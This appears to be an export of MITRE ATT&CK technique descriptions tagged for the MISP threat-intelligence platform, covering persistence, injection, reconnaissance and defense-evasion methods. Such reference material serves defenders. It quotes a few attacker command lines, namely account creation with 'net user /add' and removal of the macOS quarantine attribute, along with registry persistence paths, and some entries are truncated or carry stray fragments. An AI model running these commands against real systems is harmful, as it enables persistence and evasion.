Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring

elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](<https://attack.mitre.org/techniques/T1021/004>). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"*

## Cloud Accounts - T1078.004

Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>). Similar to [Domain Accounts](<https://attack.mitre.org/techniques/T1078/002>), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"*

## IP Addresses - T1590.005

Before compromising a victim, adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for

Information](<https://attack.mitre.org/techniques/T1598>). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

The tag is: *misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005"*

## Visual Basic - T1059.005

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>) and the [Native API](<https://attack.mitre.org/techniques/T1106>) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript/JScript](<https://attack.mitre.org/techniques/T1059/007>) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1566/001>) payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"*

## Proc Memory - T1055.009

Adversaries may inject malicious code into processes via the `/proc` filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the `/proc` filesystem (`<code>/proc/[pid]</code>`) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes' stack using memory mappings provided by the `/proc` filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes' memory map within `<code>/proc/[pid]/maps</code>` can be overwritten using `dd`.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)

Other techniques such as `[LD_PRELOAD]`(<https://attack.mitre.org/techniques/T1574/006>) may be used to populate a target process with more available gadgets. Similar to `[Process Hollowing]`(<https://attack.mitre.org/techniques/T1055/012>), proc memory injection may target child processes (such as a backgrounded copy of `sleep`). (Citation: GDS Linux Injection)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009"*

## Standard Encoding - T1132.001

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"*

## Local Account - T1136.001

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the `net user /add` command can be used to create a local account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"*

## Internal Defacement - T1491.001

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](<https://attack.mitre.org/techniques/T1491/001>) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster)

Destructive Malware)

## Control Panel - T1218.002

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a `CPLApplet` function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via [Phishing](<https://attack.mitre.org/techniques/T1566>) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to `HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls`. Even when these registered DLLs do not comply with the CPL file specification and do not export `CPLApplet` functions, they are loaded and executed through its `DllEntryPoint` when Control Panel is executed. CPL files not exporting `CPLApplet` are not directly executable.(Citation: ESET InvisiMole June 2020)

## Domain Account - T1136.002

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the `net user /add /domain` command can be used to create a domain account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002"*

<https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720>

## Office Test - T1137.002

Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)

There exist user and global Registry keys for the Office Test feature:

- `HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf`

Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.

The tag is: *misp-galaxy:mitre-attack-pattern="Office Test - T1137.002"*

## System Firmware - T1542.001

Adversaries may modify system firmware to persist on systems. The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

## External Defacement - T1491.002

An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda. (Citation: FireEye Cyber Threats to Media)

Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](<https://attack.mitre.org/techniques/T1491/002>) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](<https://attack.mitre.org/techniques/T1189>).(Citation: Trend Micro Deep Dive Into Defacement)

## Process Hollowing - T1055.012

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as `CreateProcess`, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as `ZwUnmapViewOfSection` or `NtUnmapViewOfSection` before being written to, realigned to the injected code, and resumed via `VirtualAllocEx`, `WriteProcessMemory`, `SetThreadContext`, then `ResumeThread` respectively.(Citation: Leitch Hollowing)(Citation: Endgame Process Injection July 2017)

This is very similar to [Thread Local Storage](<https://attack.mitre.org/techniques/T1055/005>) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012"*

## Business Relationships - T1591.002

Before compromising a victim, adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization's business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Supply Chain Compromise](<https://attack.mitre.org/techniques/T1195>), [Drive-by Compromise](<https://attack.mitre.org/techniques/T1189>), or [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

## Outlook Forms - T1137.003

Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

Once malicious forms have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003"*

<a href="https://github.com/sensepost/notruler">https://github.com/sensepost/notruler</a>

## Launch Agent - T1543.001

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple's developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in `<code>/System/Library/LaunchAgents</code>`, `<code>/Library/LaunchAgents</code>`, and `<code>~/Library/LaunchAgents</code>` (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnab malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using `launchd` or `launchctl` to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user's directory structure) or when any user logs in (which requires administrator privileges).

The tag is: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"`

## Gatekeeper Bypass - T1553.001

Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called `com.apple.quarantine`. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won't set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](<https://attack.mitre.org/techniques/T1189>). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the `xattr` command `xattr /path/to/MyApp.app` for `com.apple.quarantine`. Similarly, given sudo access or elevated permission, this attribute can be removed with `xattr` as well, `sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app`. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

## Process Doppelgänger - T1055.013

Adversaries may inject malicious code into process via process doppelgänger in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänger is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänger Dec 2017)

Adversaries may abuse TxF to perform a file-less variation of [Process Injection](<https://attack.mitre.org/techniques/T1055>). Similar to [Process Hollowing](<https://attack.mitre.org/techniques/T1093>), process doppelgänger involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänger's use of TxF also avoids the use of highly-monitored API functions such as `NtUnmapViewOfSection`, `VirtualProtectEx`, and `SetThreadContext`. (Citation: BlackHat Process Doppelgänger Dec 2017)

Process Doppelgänger is implemented in 4 steps (Citation: BlackHat Process Doppelgänger Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

## SSH Hijacking - T1563.001

Adversaries may hijack a legitimate user’s SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)

[SSH Hijacking](<https://attack.mitre.org/techniques/T1563/001>) differs from use of [SSH](<https://attack.mitre.org/techniques/T1021/004>) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](<https://attack.mitre.org/techniques/>

T1078).

## Symmetric Cryptography - T1573.001

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.

## Outlook Rules - T1137.005

Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

Once malicious rules have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005"*

## Social Media - T1593.001

Before compromising a victim, adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim's into revealing specific information (i.e. [Spearphishing Service](<https://attack.mitre.org/techniques/T1598/001>)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Spearphishing via Service](<https://attack.mitre.org/techniques/T1566/003>)).

## VDSO Hijacking - T1055.014

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](<https://attack.mitre.org/techniques/T1055/008>). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="VDSO Hijacking - T1055.014"*

## AppInit DLLs - T1546.010

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the `AppInit_DLLs` value in the Registry keys `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows` or `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows` are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017)

Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: *misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010"*

## Port Monitors - T1547.010

Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the `AddMonitor` API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in `C:\Windows\System32` and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010"*

## Identify Roles - T1591.004

Before compromising a victim, adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about business roles may also

be exposed to adversaries via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Phishing](<https://attack.mitre.org/techniques/T1566>)).

## System Checks - T1497.001

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>) during automated discovery to shape follow-on behaviors.

Specific checks may will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>), [PowerShell](<https://attack.mitre.org/techniques/T1059/001>), [System Information Discovery](<https://attack.mitre.org/techniques/T1082>), and [Query Registry](<https://attack.mitre.org/techniques/T1012>) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as uptime and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

## Golden Ticket - T1558.001

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>) and privileged access to a domain controller.

## Spearphishing Attachment - T1566.001

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](<https://attack.mitre.org/techniques/T1204>) to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"*

## Create Snapshot - T1578.001

An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](<https://attack.mitre.org/techniques/T1536>) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

An adversary may [Create Cloud Instance](<https://attack.mitre.org/techniques/T1578/002>), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001"*

## Spearphishing Service - T1598.001

Before compromising a victim, adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)) to craft persuasive and believable lures.

## Component Firmware - T1542.002

Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](<https://attack.mitre.org/techniques/T1542/001>) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002"*

## Systemd Service - T1543.002

Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the `/etc/systemd/system` and `/usr/lib/systemd/system` directories and have the file extension `.service`. Each service unit file may contain numerous directives that can execute system commands:

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
